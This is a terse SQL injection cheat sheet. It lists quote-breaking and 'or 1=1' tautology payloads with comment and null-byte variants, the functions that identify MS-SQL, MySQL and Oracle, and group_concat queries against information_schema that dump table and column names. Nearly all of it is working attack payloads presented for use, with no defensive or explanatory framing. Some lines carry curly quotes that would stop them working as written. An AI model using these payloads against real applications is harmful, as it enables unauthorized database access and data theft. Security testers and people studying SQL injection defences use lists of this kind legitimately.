used to confirm SQL Injections

' 
" 
' or 1=1 --
' or 1=0 --
' and 1=1 --
' or 1=1# --
' or 1=1 -- 
' or 1=1 // --
or 1=1# --
and or 1=1# --
' or 1=1-- sd --
'.)))("),.
'ghwshP<'">CZuifw


or 1=1 ‘or 1=1 “or 1=1 or 1=1– ‘or 1=1– “or 1=1–
or 1=1# ‘or 1=1# “or 1=1# or 1=1/* ‘or 1=1/*
“or 1=1/* or 1=1;%00 ‘or 1=1;%00 “or 1=1;%00 ‘or’ ‘or
‘or’– ‘or– or a=a ‘or a=a “or a=a or a=a–
‘or a=a — “or a=a– or ‘a’=’a’ ‘or ‘a’=’a’ “or ‘a’=’a’ ‘)or(‘a’=’a’
“)”a”=”a” ‘)’a’=’a ‘or”=’

Finding-the-DBMS:

MS-SQL: user_name()

MYSQL: user ()

ORACLE: select user from dual;

Tables from the database

group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database()—+

columns from the database

group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_schema=database()